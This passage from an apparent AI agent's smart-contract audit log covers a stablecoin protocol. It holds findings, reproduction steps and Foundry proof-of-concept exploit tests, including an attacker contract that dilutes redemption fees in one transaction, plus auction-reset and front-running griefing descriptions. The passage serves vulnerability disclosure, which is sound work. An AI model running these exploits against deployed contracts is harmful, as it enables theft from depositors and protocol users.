floor.\n        try alloc.auctionPrice(address(sleeve), address(weth)) returns (uint256 p) {\n            usd.mint(buyer, 1e24);\n            vm.startPrank(buyer);\n            usd.approve(address(alloc), type(uint256).max);\n            uint256 pay = alloc.buyCollateral(address(sleeve), address(weth), exited, type(uint256).max);\n            vm.stopPrank();\n            emit log_named_decimal_uint(\"new WETH landed after the exit\", exited, 18);\n            emit log_named_decimal_uint(\"auction price offered for it\", p, 18);\n            emit log_named_decimal_uint(\"paid by the buyer\", pay, 18);\n            emit log_named_decimal_uint(\"value at the run's top (2,163)\", exited * 2163, 18);\n            assertTrue(false, \"new collateral sold at the decayed floor instead of AuctionStale (offer from the top)\");\n        } catch (bytes memory err) {\n            assertEq(bytes4(err), Allocator.AuctionStale.selector, \"new collateral stops the price\");\n        }\n    }\n}","reproduction":"Real Backstop (blue sleeve) and Allocator; mocks only for the oracle (WETH low 2,000 / high 2,100 / payout 2,100), a no-bad-debt ledger view and the tokens; a helper plays the Liquidator's standing bid (openBid, burn the repaid debt from the sleeve, send the seized collateral, closeBid). Two depositors put in 100k and 300k imdUSD. A standing bid lands 100 WETH (repaid 190,000). startAuction (auctionColl = 100). The 100k holder requests an exit; 7 days later the run has long been at its floor (1,960). withdraw() takes 25 WETH in kind (coll 100 -> 75). The next liquidation's standing bid lands 25 new WETH (coll 75 -> 100 = auctionColl). Expected: auctionPrice reverts AuctionStale and the 25 new WETH are offered from 2,163 (103% of 2,100) after a restart. Actual: auctionPrice = 1,960 and buyCollateral(25 WETH) pays 49,000 imdUSD in the same block, 5,075 under the run's top and 1,000 under `low`. Run on this commit: forge test --match-path test/scratch/ProofAuctionExitHidesArrival.t.sol -vv -> [FAIL: new collateral sold at the decayed floor instead of AuctionStale (offer from the top)] test_collateralLandingAfterAnExitSellsAtTheFloor() (gas: 1034572). Logs: new WETH landed after the exit: 24.999999999999999999; auction price offered for it: 1960.0; paid by the buyer: 48999.999999999999998040; value at the run's top (2,163): 54074.999999999999997837.","severity":"medium","snippet":"        if (IBackstopSale(backstop).coll(collateral) > auctionColl[k]) revert AuctionStale();","title":"Allocator auction staleness is a balance compare: collateral landing after an in-kind Backstop exit is sold at the run's decayed price (down to 98% of low) instead of from the top"},{"citation":"resolved","description":"The wave-1 fix holds circulating() at the outermost flash loan's start so a native flash mint cannot dilute the fee ramp, but ImdUSD.circulating() (src/ImdUSD.sol:153-163: `net = supply - inFlight; return net > start ? net : start`) still counts every REAL mint made inside the transaction. A redeemer borrows first (any type with own or flash-loaned collateral, or PegPositionZap.open which borrows 1:1 against USDC on the beta's 25k PEG line), redeems, then repays the borrow in the same transaction. Both the fee ramp (_fee, lines 157-159) and the base-rate rise after the burn (redeem, lines 147-151: `supplyBefore = circulating()`) divide by the inflated supply. The redeemer pays a smaller fee (the fee's collateral is Treasury revenue) and leaves the type's base rate lower than a redemption of that size should, weakening the throttle that protects low-rate borrowers from a run. Cost to the redeemer: the borrow's upfront fee and minimum interest (PEG at 0.5%: about 2.4 imdUSD on 25,000 for 7 days) plus zap round-trip costs; the saving is up to (FEE_CAP - floor - decayed base) x amount. With BetaConfig: a 9,000 redemption against sIMD (redeemDivisor 2) at a 90,000 supply pays 5% honestly and about 3.4% with 25,000 of transient PEG debt (about 144 imdUSD saved for about 3 of cost); with ETH collateral the inflation is bounded by the ETH line (50,000). The README's known issue covers only the opposite direction (outside imdUSD DEFLATING the supply, which only hurts the redeemer); inflation by transient real debt benefits the redeemer and is not written. Reachable with script/DeployConfig.sol BetaConfig (PEG positions on from day 1). Smallest fix: make the fee base insensitive to same-transaction mints, e.g. have ImdUSD record totalSupply() in a transient slot on the first mint/burn of the transaction and have circulating() return min(net, that start), or snapshot in the Redeemer and use min(circulating(), snapshot) in _fee and redeem.","line":157,"path":"src/Redeemer.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {ImdUSD} from \"src/ImdUSD.sol\";\nimport {Parameters} from \"src/Parameters.sol\";\nimport {ParametersBase} from \"src/ParametersBase.sol\";\nimport {Pricer} from \"src/Pricer.sol\";\nimport {Treasury, ICoverable} from \"src/Treasury.sol\";\nimport {PositionNFT} from \"src/PositionNFT.sol\";\nimport {Ledger} from \"src/Ledger.sol\";\nimport {IPulse} from \"src/LedgerBase.sol\";\nimport {Redeemer} from \"src/Redeemer.sol\";\nimport {Liquidator} from \"src/Liquidator.sol\";\nimport {Migrator} from \"src/Migrator.sol\";\nimport {Join} from \"src/Join.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\nimport {Adjust} from \"src/interfaces/IPositions.sol\";\n\ncontract PdTok is ERC20 {\n    constructor() ERC20(\"WETH\", \"WETH\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract PdFeed is IFeed {\n    uint256 public value;\n    uint64 public at;\n    constructor(uint256 v) { value = v; at = uint64(block.timestamp); }\n    function latestValue() external view returns (uint256, uint64) { return (value, at); }\n    function isStale() external pure returns (bool) { return false; }\n    function maxAge() external pure returns (uint256) { return 1 hours; }\n}\n\n/// @dev One transaction: borrow `inflate` on a fresh position (real mint), redeem `amount`, repay the borrow and take the\n/// collateral back. The borrow exists only inside this transaction, yet it is counted in `circulating()` by both the\n/// fee ramp and the base-rate rise of the redemption.\ncontract PdAttacker {\n    ImdUSD immutable usd;\n    Ledger immutable ledger;\n    Redeemer immutable redeemer;\n    constructor(ImdUSD u, Ledger l, Redeemer r) { usd = u; ledger = l; redeemer = r; }\n\n    function run(bytes32 ilk, IERC20 weth, uint256 coll, uint256 inflate, uint256 amount)\n        external\n        returns (uint256 collateralOut, uint256 feeSeen)\n    {\n        weth.approve(address(ledger), type(uint256).max);\n        usd.approve(address(ledger), type(uint256).max);\n        // A high rate: the redemption takes from the lowest rates first, so it visits alice, not this position.\n        uint256 id = ledger.open(ilk, 0, Adjust(int256(coll), int256(inflate), 0.5e18, 0, 0, false, type(uint256).max, address(0)));\n        feeSeen = redeemer.feeFor(ilk, amount);\n        (, collateralOut) = redeemer.redeem(ilk, amount, 1e18, 1, 0);\n        ledger.adjust(id, Adjust(-int256(uint256(ledger.position(id).collateral)), -int256(ledger.debtOf(id)), 0, 0, 0, false, type(uint256).max, address(0)));\n    }\n}\n\n/// @notice `circulating()` is raised by real debt minted earlier in the same transaction, so a redeemer who borrows (PEG zap,\n/// any type, repaid before the transaction ends) pays a lower redemption fee and leaves a lower base rate than the supply\n/// at rest allows. Expected: the fee and the base-rate rise of a redemption do not depend on debt that exists only inside\n/// the redeemer's own transaction.\ncontract ProofRedeemFeeDilutionTest is Test {\n    bytes32 constant ETH = \"ETH\";\n    ImdUSD usd;\n    Ledger ledger;\n    Redeemer redeemer;\n    PdTok weth;\n    address alice = makeAddr(\"alice\");\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        usd = new ImdUSD(address(this), 100_000e18);\n        Parameters params = new Parameters(makeAddr(\"gov\"), address(this));\n        Pricer pricer = new Pricer(params);\n        Treasury treasury = new Treasury(makeAddr(\"gov\"), IERC20(address(usd)), address(this));\n        PositionNFT nft = new PositionNFT(address(this));\n        ledger = new Ledger(usd, params, pricer, address(treasury), address(this), IPulse(address(0)), nft);\n        nft.bind(address(ledger));\n        redeemer = new Redeemer(ledger);\n        ledger.wire(address(redeemer), address(new Liquidator(ledger, pricer)));\n        usd.wire(address(ledger), address(new Migrator(IERC20(address(new PdTok())), usd, params)), address(params));\n        params.wire(address(ledger), address(usd));\n        treasury.wire(ICoverable(address(ledger)));\n        weth = new PdTok();\n        Join join = new Join(address(weth), address(this));\n        join.wire(address(ledger));\n        PdFeed feed = new PdFeed(2000e18);\n        params.addGenesisIlk(\n            ETH,\n            ParametersBase.Config({\n                token: address(weth), join: address(join), median: feed, spot: feed, nhi: IFeed(address(0)),\n                yieldRate: address(0), pegAggregator: address(0), liveSpot: IFeed(address(0)), redeemable: true,\n                auction: false\n            }),\n            ParametersBase.Risk({\n                mat: 1.5e18, chop: 0.1e18, cut: 0.5e18, chip: 0.1e18, rateFloor: 0.01e18, yieldFee: 0, skew: 0.05e18,\n                pegFloor: 0, line: 1_000_000e18, dust: 100e18, redeemFloor: 0.005e18, redeemDivisor: 2, redeemCap: 0\n            })\n        );\n        params.seal();\n        // The honest book: alice owes 90,000 at 5%. The type's base rate has decayed from its launch value.\n        weth.mint(alice, 100e18);\n        vm.startPrank(alice);\n        weth.approve(address(ledger), type(uint256).max);\n        ledger.open(ETH, 0, Adjust(100e18, 90_000e18, 0.05e18, 0, 0, false, type(uint256).max, address(0)));\n        vm.stopPrank();\n        vm.warp(block.timestamp + 30 days);\n    }\n\n    function test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() public {\n        uint256 amount = 9_000e18;\n        uint256 supplyAtRest = usd.totalSupply();\n        uint256 honestFee = redeemer.feeFor(ETH, amount);\n        uint256 honestOut = (amount * 1e18 / 2000e18) * (1e18 - honestFee) / 1e18;\n\n        PdAttacker a = new PdAttacker(usd, ledger, redeemer);\n        weth.mint(address(a), 100e18);\n        deal(address(usd), address(a), amount + 1_000e18); // the imdUSD to redeem, plus the re-borrow's upfront fee\n        (uint256 out, uint256 feeSeen) = a.run(ETH, IERC20(address(weth)), 100e18, 90_000e18, amount);\n\n        // The position is gone again: the supply is back where it was, less the redemption (plus the borrow's upfront fee,\n        // under 1%, which was minted to the Treasury).\n        assertApproxEqRel(usd.totalSupply(), supplyAtRest - amount, 0.01e18, \"nothing of the attacker's borrow is left\");\n        assertEq(feeSeen, honestFee, \"the fee read inside the transaction equals the fee at rest\");\n        assertLe(out, honestOut, \"the redeemer does not receive more collateral than an honest redemption pays\");\n        (uint192 base,) = redeemer.rates(ETH);\n        uint256 honestBase = redeemer.decayedBaseRate(ETH) + (amount * 1e18 / supplyAtRest) / 2;\n        assertEq(uint256(base), honestBase, \"the base rate rose by the redeemed share of the supply at rest\");\n    }\n}","reproduction":"State: ETH type (mat 1.5, redeemDivisor 2, redeemFloor 0.5%), alice owes 90,000 imdUSD, 30 days after launch (base rate decayed). Attacker, in one transaction: open a position borrowing 90,000 against WETH, call Redeemer.redeem(ETH, 9,000, 1e18, 10, 0), repay the 90,000 and withdraw the WETH. Expected: feeFor(ETH, 9,000) inside the transaction = fee at rest = 0.5% + decayed + 9,000/90,000/2 = 5% (cap), and the base rate after rises by 5%. Actual on this commit: fee = 0.5% + decayed + 9,000/180,000/2 ~ 3%, base rate rises by 2.5%; totalSupply after the transaction = supply at rest - 9,000 (the borrow left nothing behind). Run: forge test --match-path test/scratch/ProofRedeemFeeDilution.t.sol -vv -> [FAIL: the fee read inside the transaction equals the fee at rest: 29924883711104473 != 50000000000000000] test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() (gas: 1699386).","severity":"medium","snippet":"        uint256 supply = ImdUSD(address(token)).circulating();","title":"Redemption fee ramp and base-rate rise are diluted by real debt minted earlier in the same transaction and repaid before it ends"},{"citation":"resolved","description":"README accepts a restart once a run has reached its floor (up to 2 h per restart). A run can also be reset BEFORE the floor by anyone who makes the sleeve buy new collateral: startAuction accepts a restart whenever `held > auctionColl[k]` and _auction (line 707) refuses every buy until it is restarted, and the restart re-offers the ENTIRE holding from 103% of max(low, high, payout), not only the new amount. Any borrower can manufacture an arrival: open a position on a sleeve-covered type with collateral just at the health boundary (the borrow check passes at equality), wait one block so accrued interest makes it unhealthy, and call Liquidator.liquidate(id): on a no-grace beta type it marks and bites in one call (Liquidator.sol:224-228), and with q.agree and bidRoom >= need the standing bid buys the collateral (Liquidator.sol:166-177) and Backstop.closeBid raises coll[token]. The cost is the chop on a dust position: debt 100 imdUSD (BetaConfig dust) x chop 10% = 10 imdUSD, of which the attacker-as-marker gets the chip back; about 9 imdUSD per reset (5 on a chop-5% type). A keeper who wants liquidations to fall to the caller path (the penalty is theirs there) keeps the sleeve's imdUSD from being replenished by resetting its collateral auction every 90 minutes for about 150 imdUSD a day; depositors hold collateral they cannot convert and the standing bid runs dry. No value leaves the protocol; this bounds it at low. Smallest fix: on a restart offer only the new amount from the top (track the offered amount, not the holding), or require a minimum new amount (e.g. 1% of the holding) before a running auction may be restarted.","line":335,"path":"src/peg/Allocator.sol","reproduction":"Blue sleeve holds 10 WETH, run started, 90 minutes elapsed (price 1,985 with low 2,000). Attacker opens an ETH position with 0.075 WETH and 100 imdUSD of debt at low 2,000 and mat 1.5 (0.075 x 2,000 = 150 = 100 x 1.5), one block later calls Liquidator.liquidate(id). Expected (README): the run continues to its floor at 2 h and only genuinely new collateral is offered from the top. Actual: the standing bid buys about 0.0825 WETH, Backstop.coll = 10.08 > auctionColl = 10, buyCollateral reverts AuctionStale, startAuction succeeds at once (line 335: held > auctionColl) and the price is back to 2,060 for all 10.08 WETH; repeating every 90 minutes keeps the collateral unsold for about 9 imdUSD per reset. Verified against the code paths (Allocator.sol:335, 366, 707; Backstop.closeBid `coll[token] += received;`; Liquidator.sol:166-177, 224-228); no test was written for this low.","severity":"low","snippet":"        if (s != 0 && block.timestamp < s + AUCTION_DURATION && held <= auctionColl[k]) revert AuctionRunning();","title":"Any new standing-bid arrival resets the whole collateral auction to the top before the floor: a dust self-liquidation (about 9 imdUSD) restarts the run and keeps the sleeve's collateral unsold indefin"},{"citation":"resolved","description":"retireReserve (Treasury.sol:142-148) refuses only while bad debt is ALREADY booked and keeps only the fee notes' outstanding face. The Treasury's imdUSD balance is at the same time the system's bad-debt cover: LedgerBase.unbacked() (line 227) reads token.balanceOf(treasury), and Liquidator._cover -> Treasury.coverBadDebt spends it in the liquidation's own transaction. So a liquidation about to book bad debt can be front-run by retireReserve(reserveBacked): the reserve-backed imdUSD is burned (solvency-neutral, the Treasury keeps the yield shares), the cover in the liquidation's transaction finds a smaller balance, the uncovered rest is unbacked, and once it exceeds Parameters.unbackedBrake x circulating, Ledger._checkBrake (LedgerBase.sol:324-330) reverts Braked on new debt for EVERY type until the Safe sells shares for imdUSD and covers (48 h payout timelock) or a third party burns against the hole. Cost to the griefer: gas. This makes the README's accepted 'global brake beyond sleeve plus Treasury' reachable with a smaller loss than the Treasury balance suggests. It does not block liquidation or redemption (the cover is best effort). Smallest fix: make retireReserve governor-only (it is the yield burn path, not time-critical), or keep a cover reserve besides the notes' face.","line":143,"path":"src/Treasury.sol","reproduction":"State (BetaConfig shape, a yield type listed so harvest has credited reserveBacked): Treasury holds 5,000 imdUSD, Ledger.reserveBacked = 4,500, unbackedBrake = 1% of a 300,000 circulating supply (3,000), blue type (no edge cover). An ETH position is about to be liquidated with 3,500 imdUSD of bad debt. Sequence: (1) griefer calls Treasury.retireReserve(4_500e18): totalBadDebt == 0 so it passes, Ledger.retire burns 4,500, Treasury balance 500. (2) Liquidator.liquidate(id) books bad 3,500; _cover -> coverBadDebt covers 500; unbacked() = 3,000 + overshoot. Expected without step 1: cover of the full 3,500 (balance 5,000 >= 3,500), unbacked 0, borrowing open. Actual: unbacked > allowed and Ledger.adjust with dDebt > 0 reverts Braked on every type until someone covers. Verified against Treasury.sol:142-148, Ledger.sol:359-361, LedgerBase.sol:227-231 and 324-330; no test was written for this low.","severity":"low","snippet":"        if (ledger.totalBadDebt() != 0) revert BadDebtOutstanding();","title":"retireReserve is permissionless and keeps nothing for bad-debt cover: anyone can burn the Treasury's reserve-backed imdUSD one block before a liquidation books bad debt, shrinking the same-transaction"},{"citation":"resolved","description":"Question 7 (peg without Treasury USDC). decayedBaseRate (Redeemer.sol:83-94) treats a type never redeemed as if a redemption had just happened at Parameters.listedAt (the seal for every genesis type): base = FEE_CAP (5%) decaying with a ~12 h half-life. With BetaConfig (redeemFloor 0.5% on ETH/BTC/sIMD types, 0.1% on stable types) the fee reads 5.0% at the seal, 3.0% at +12 h, 1.75% at +24 h, 1.125% at +36 h and falls under 1% only after ~40 h, so the arbitrage floor of imdUSD is $0.95-0.99 for the first ~40 h. In that window the beta has no other below-peg bid: keeperCap and bufferTarget are 0 at genesis (DeployConfig.sol:425), the Treasury holds almost no USDC, so PegHook.buffer is 0 and withdraw() has nothing outstanding to burn. PegHook's toll (src/peg/PegHook.sol:567-584) is 0 inside +-0.25%, ramps linearly to SOFT_CAP (1.5%) at -1% (WALL_BPS 100) and starts the wall only past -1%, priced on the END price of each swap. Replaying v1's depeg (~$2.5k of depth per 0.25%, 500-unit lots): lots 1-5 (to -0.25%) pay nothing; lots 6-20 end at 30..100 bp and pay 1.5% x (d-25)/75 each (0.1%..1.5%, average 0.8%), about $60 on $7.5k, against $150 for one $10k swap to the same price (splitting pays about 40%). Past -1% the wall works (the next $10k to -2% pays about $1,250). Consequence: for roughly the first two days imdUSD can be held about 1% below par for a two-digit dollar toll and nothing contract-side pulls it back while the redemption fee is above 1%. No protocol funds are lost; the Redeemer docstring states the cap start as a feature, but the interaction with the toll wall and the unfunded buffer at launch is not in README Known issues. Merged from audit_permissions 66ed911e and audit_math e2edc223. Smallest changes, in order of cost: (a) no code: seal and list genesis types at least 68 h before the lines open (the base decays from the seal); (b) one line: start an unredeemed type's base at the toll wall (e.g. 0.01e18) or at redeemFloor instead of FEE_CAP; (c) have the Safe set bufferTarget in the setup BATCH and fund the buffer with launch USDC; (d) after the freeze, price the toll on the swap's path so a split push pays the whole toll.","line":90,"path":"src/Redeemer.sol","reproduction":"State: BetaConfig deployed and sealed at T0 (Parameters.listedAt(ilk) = T0); no redemption yet; PegHook.buffer == 0, outstanding == 0. Input: Redeemer.feeFor(ETH ilk, 1e18) at T0, T0+12h, T0+24h, T0+36h, T0+48h. Expected (for a launch whose only below-peg bid is redemption): a fee at or under the toll wall (<= 1%) so a -1% pool is arbitraged back. Actual: 0.05e18, 0.03e18, 0.0175e18, 0.01125e18, 0.0081e18 (decayedBaseRate = 0.05 x 0.5^(t/12h), SECOND_DECAY^43200 = 0.5, plus redeemFloor 0.005, capped at 0.05). Pool side: 20 exact-input sells of 500 imdUSD into a pool with ~$2.5k per 0.25% end at -0.25%..-1%; PegHook.surchargeFor at each lot's end price gives 0 for lots 1-5 and SOFT_CAP x (dev - 25bp)/75bp for dev = 30..100 bp, summing to about $60 of toll (vs $150 for one $10k swap); PegHook.withdraw() does nothing because outstanding == 0 and buffer == 0. Checked against Redeemer.sol:83-94 and PegHook.sol:567-584 and the constants at PegHook.sol:96-98; the existing test/unit/PegHook.t.sol toll-curve tests give the toll figures. No new test written for this low.","severity":"low","snippet":"            base = FEE_CAP;","title":"Launch-day redemption floor: a never-redeemed type's base rate starts at the 5% cap from the seal, so for the first ~40 h nothing in the beta bids under about $0.95-0.99 and a -1% depeg costs about $6"}],"hash":"4508800ecf8019cacc0490bda2d40bc81543153459c354f9699c4f95c8a79df5","nodeId":"1cba7123-0d62-482d-a4a5-c01ab1e519e2","outcome":"completed","summary":"The review is complete. The findings file holds five merged, reproduced findings; the scratch tests are removed and the tree is unchanged apart from `.imd-findings.json`.\n\n## What I verified\n\n**Specialist proofs.** All three attached proofs were copied to `test/scratch/`, compiled with solc 0.8.26 via_ir and run. Each fails on this commit for the reason its finding gives:\n\n```\n[FAIL: new collateral sold at the decayed floor instead of AuctionStale (offer from the top)] test_collateralLandingAfterAnExitSellsAtTheFloor() (gas: 1034572)\n[FAIL: next call did not revert as expected] test_collateralArrivingAfterAnExitIsSoldAtTheFloorWithoutARestart() (gas: 707873)\n[FAIL: the fee read inside the transaction equals the fee at rest: 29924883711104473 != 50000000000000000] test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() (gas: 1699386)\n```\n\n**Wave-1 fixes (questions 1 to 4).** The eight AuditW1 suites for the re-checked files (Harvest, Circulating, PremiumBrake, PremiumLaunder, DeRiskNoRebind, NoteVsBadDebt, NoteAfterCover, RetireKeepsNotes) all pass: 14 tests, 0 failures. The original wave-1 proofs no longer fail. I did not fetch the wave-1 submissions from the network; the in-tree AuditW1 tests are the project's copies of those proofs.\n\n## Findings kept (in `.imd-findings.json`)\n\n- **Medium, Allocator.sol:707.** Auction staleness is a balance compare. An in-kind `Backstop.withdraw` lowers `coll`, so the next standing-bid arrival stays under the snapshot and sells at the decayed price, down to 98% of low, instead of from the top. Three specialists reported this; merged into one, with the Backstop-based proof attached.\n- **Medium, Redeemer.sol:157.** The fee ramp and base-rate rise divide by `circulating()`, which still counts real debt minted earlier in the same transaction. A borrow, redeem, repay sequence roughly halves the fee and the throttle. Proof attached. Distinct from the README's accepted deflation case.\n- **Low, Allocator.sol:335.** Any new arrival lets anyone restart the run before the floor, re-offering the whole holding from the top. A dust self-liquidation into the standing bid costs about 9 imdUSD per reset. Verified against the code paths, no test.\n- **Low, Treasury.sol:143.** `retireReserve` is permissionless and keeps only the notes' face, so reserve-backed imdUSD can be burned one block before a liquidation books bad debt, shrinking the same-transaction cover toward the global brake. Does not block liquidation or redemption.\n- **Low, Redeemer.sol:90.** A never-redeemed type's base starts at the 5% cap from the seal. For about 40 hours after launch nothing bids below roughly $0.95 to $0.99, and holding the pool at -1% costs about $60 of toll with lots split under the wall. Two specialists reported this; merged.\n\n## Answers to questions 5 to 8, in brief\n\n- **Q5.** No supply-equation break found in the paths reviewed; the one value leak is the auction finding above (depositors lose the top-to-floor gap, no protocol value leaves).\n- **Q6.** The bounds hold except the two auction findings. The exit-hides-arrival case is the one that lets a caller buy below the stated price. Fix before the freeze: a monotonic arrivals counter in Backstop, about three lines.\n- **Q7.** The toll bounds the depth to about -1% but does not restore the peg on launch day. Cheapest fix is operational: seal at least 68 hours before lines open and fund the buffer in the setup batch. One-line alternative: start the unredeemed base at 1% instead of 5%.\n- **Q8.** Daily buckets are a sound bound for each rule-driven action given the Safe as the only freezer. The BACKSTOP_SALE bucket is the one that bounds a real loss today, so size it to one typical liquidation's collateral until the auction fix lands.","treeHash":null,"usage":{"cachedInputTokens":716205,"cost":{"source":"runtime","usdMicros":2760502},"inputTokens":354,"model":"claude-fable-5-1","outputTokens":20670,"runtime":"claude","turns":22,"wallClockMs":944600}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8f08088e7a7f557f","findings":[{"citation":"resolved","description":"The wave-1 fix holds circulating() at the outermost flash loan's start so a flash mint cannot dilute the fee ramp, but ImdUSD.circulating() (src/ImdUSD.sol:153-163) still counts every REAL mint made inside the transaction: `net = supply - inFlight; return net > start ? net : start`. A redeemer therefore borrows first (any type, or PegPositionZap.open which flash-mints and borrows 1:1 against 12.5k USDC for the beta's 25k PEG line at a 0.5% rate floor), redeems, then repays the borrow (PegPositionZap.unwind, or Ledger.adjust) in the same transaction. Both the fee ramp (`_fee`, line 157-159) and the base-rate rise after the burn (`redeem`, line 147-151: `supplyBefore = circulating()`) divide by the inflated supply. Cost to the attacker: the borrow's upfront fee, 7 days of interest at the type's average rate (PEG at 0.5%: 25,000 x 0.005 x 7/365 = 2.4 imdUSD) plus zap round-trip costs, against a fee saving of up to (FEE_CAP - floor) x amount on the redemption and a permanently lower base rate for the type (the throttle that protects low-rate borrowers from a run and funds the Treasury). With BetaConfig: sIMD redeemDivisor 2, redeemCap 20,000 per 2h window, PEG_LINE 25,000, chain line 300,000: a 9,000 redemption against sIMD at a 90,000 supply pays 5% (cap) honestly and 3.4% with 25,000 of transient PEG debt (saving ~144 imdUSD for ~3 imdUSD of cost); with ETH collateral and a WETH flash loan the inflation is bounded only by the ETH line (50,000). The README's known issue covers only the opposite direction (outside imdUSD DEFLATING the supply, which only hurts the redeemer); inflation by transient real debt benefits the redeemer and is not written. Reachable with script/DeployConfig.sol BetaConfig (PEG positions on from day 1; sIMD line opens day 7). Smallest fix: make the fee base insensitive to same-transaction mints, e.g. snapshot the supply in a transient slot at the first Ledger/Redeemer touch of the transaction and use min(circulating(), snapshot) in Redeemer._fee and redeem (or, cheaper, have ImdUSD.circulating() return min(net, start-of-transaction supply) recorded on the first mint/burn of the transaction, which also removes the wave-1 over-read).","line":157,"path":"src/Redeemer.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {ImdUSD} from \"src/ImdUSD.sol\";\nimport {Parameters} from \"src/Parameters.sol\";\nimport {ParametersBase} from \"src/ParametersBase.sol\";\nimport {Pricer} from \"src/Pricer.sol\";\nimport {Treasury, ICoverable} from \"src/Treasury.sol\";\nimport {PositionNFT} from \"src/PositionNFT.sol\";\nimport {Ledger} from \"src/Ledger.sol\";\nimport {IPulse} from \"src/LedgerBase.sol\";\nimport {Redeemer} from \"src/Redeemer.sol\";\nimport {Liquidator} from \"src/Liquidator.sol\";\nimport {Migrator} from \"src/Migrator.sol\";\nimport {Join} from \"src/Join.sol\";\nimport {IFeed} from \"src/interfaces/IFeed.sol\";\nimport {Adjust} from \"src/interfaces/IPositions.sol\";\n\ncontract PdTok is ERC20 {\n    constructor() ERC20(\"WETH\", \"WETH\") {}\n    function mint(address to, uint256 a) external { _mint(to, a); }\n}\n\ncontract PdFeed is IFeed {\n    uint256 public value;\n    uint64 public at;\n    constructor(uint256 v) { value = v; at = uint64(block.timestamp); }\n    function latestValue() external view returns (uint256, uint64) { return (value, at); }\n    function isStale() external pure returns (bool) { return false; }\n    function maxAge() external pure returns (uint256) { return 1 hours; }\n}\n\n/// @dev One transaction: borrow `inflate` on a fresh position (real mint), redeem `amount`, repay the borrow and take the\n/// collateral back. The borrow exists only inside this transaction, yet it is counted in `circulating()` by both the\n/// fee ramp and the base-rate rise of the redemption.\ncontract PdAttacker {\n    ImdUSD immutable usd;\n    Ledger immutable ledger;\n    Redeemer immutable redeemer;\n    constructor(ImdUSD u, Ledger l, Redeemer r) { usd = u; ledger = l; redeemer = r; }\n\n    function run(bytes32 ilk, IERC20 weth, uint256 coll, uint256 inflate, uint256 amount)\n        external\n        returns (uint256 collateralOut, uint256 feeSeen)\n    {\n        weth.approve(address(ledger), type(uint256).max);\n        usd.approve(address(ledger), type(uint256).max);\n        // A high rate: the redemption takes from the lowest rates first, so it visits alice, not this position.\n        uint256 id = ledger.open(ilk, 0, Adjust(int256(coll), int256(inflate), 0.5e18, 0, 0, false, type(uint256).max, address(0)));\n        feeSeen = redeemer.feeFor(ilk, amount);\n        (, collateralOut) = redeemer.redeem(ilk, amount, 1e18, 1, 0);\n        ledger.adjust(id, Adjust(-int256(uint256(ledger.position(id).collateral)), -int256(ledger.debtOf(id)), 0, 0, 0, false, type(uint256).max, address(0)));\n    }\n}\n\n/// @notice `circulating()` is raised by real debt minted earlier in the same transaction, so a redeemer who borrows (PEG zap,\n/// any type, repaid before the transaction ends) pays a lower redemption fee and leaves a lower base rate than the supply\n/// at rest allows. Expected: the fee and the base-rate rise of a redemption do not depend on debt that exists only inside\n/// the redeemer's own transaction.\ncontract ProofRedeemFeeDilutionTest is Test {\n    bytes32 constant ETH = \"ETH\";\n    ImdUSD usd;\n    Ledger ledger;\n    Redeemer redeemer;\n    PdTok weth;\n    address alice = makeAddr(\"alice\");\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        usd = new ImdUSD(address(this), 100_000e18);\n        Parameters params = new Parameters(makeAddr(\"gov\"), address(this));\n        Pricer pricer = new Pricer(params);\n        Treasury treasury = new Treasury(makeAddr(\"gov\"), IERC20(address(usd)), address(this));\n        PositionNFT nft = new PositionNFT(address(this));\n        ledger = new Ledger(usd, params, pricer, address(treasury), address(this), IPulse(address(0)), nft);\n        nft.bind(address(ledger));\n        redeemer = new Redeemer(ledger);\n        ledger.wire(address(redeemer), address(new Liquidator(ledger, pricer)));\n        usd.wire(address(ledger), address(new Migrator(IERC20(address(new PdTok())), usd, params)), address(params));\n        params.wire(address(ledger), address(usd));\n        treasury.wire(ICoverable(address(ledger)));\n        weth = new PdTok();\n        Join join = new Join(address(weth), address(this));\n        join.wire(address(ledger));\n        PdFeed feed = new PdFeed(2000e18);\n        params.addGenesisIlk(\n            ETH,\n            ParametersBase.Config({\n                token: address(weth), join: address(join), median: feed, spot: feed, nhi: IFeed(address(0)),\n                yieldRate: address(0), pegAggregator: address(0), liveSpot: IFeed(address(0)), redeemable: true,\n                auction: false\n            }),\n            ParametersBase.Risk({\n                mat: 1.5e18, chop: 0.1e18, cut: 0.5e18, chip: 0.1e18, rateFloor: 0.01e18, yieldFee: 0, skew: 0.05e18,\n                pegFloor: 0, line: 1_000_000e18, dust: 100e18, redeemFloor: 0.005e18, redeemDivisor: 2, redeemCap: 0\n            })\n        );\n        params.seal();\n        // The honest book: alice owes 90,000 at 5%. The type's base rate has decayed from its launch value.\n        weth.mint(alice, 100e18);\n        vm.startPrank(alice);\n        weth.approve(address(ledger), type(uint256).max);\n        ledger.open(ETH, 0, Adjust(100e18, 90_000e18, 0.05e18, 0, 0, false, type(uint256).max, address(0)));\n        vm.stopPrank();\n        vm.warp(block.timestamp + 30 days);\n    }\n\n    function test_sameTransactionBorrowLowersTheRedemptionFeeAndBaseRate() public {\n        uint256 amount = 9_000e18;\n        uint256 supplyAtRest = usd.totalSupply();\n        uint256 honestFee = redeemer.feeFor(ETH, amount);\n        uint256 honestOut = (amount * 1e18 / 2000e18) * (1e18 - honestFee) / 1e18;\n\n        PdAttacker a = new PdAttacker(usd, ledger, redeemer);\n        weth.mint(address(a), 100e18);\n        deal(address(usd), address(a), amount + 1_000e18); // the imdUSD to redeem, plus the re-borrow's upfront fee\n        (uint256 out, uint256 feeSeen) = a.run(ETH, IERC20(address(weth)), 100e18, 90_000e18, amount);\n\n        // The position is gone again: the supply is back where it was, less the redemption (plus the borrow's upfront 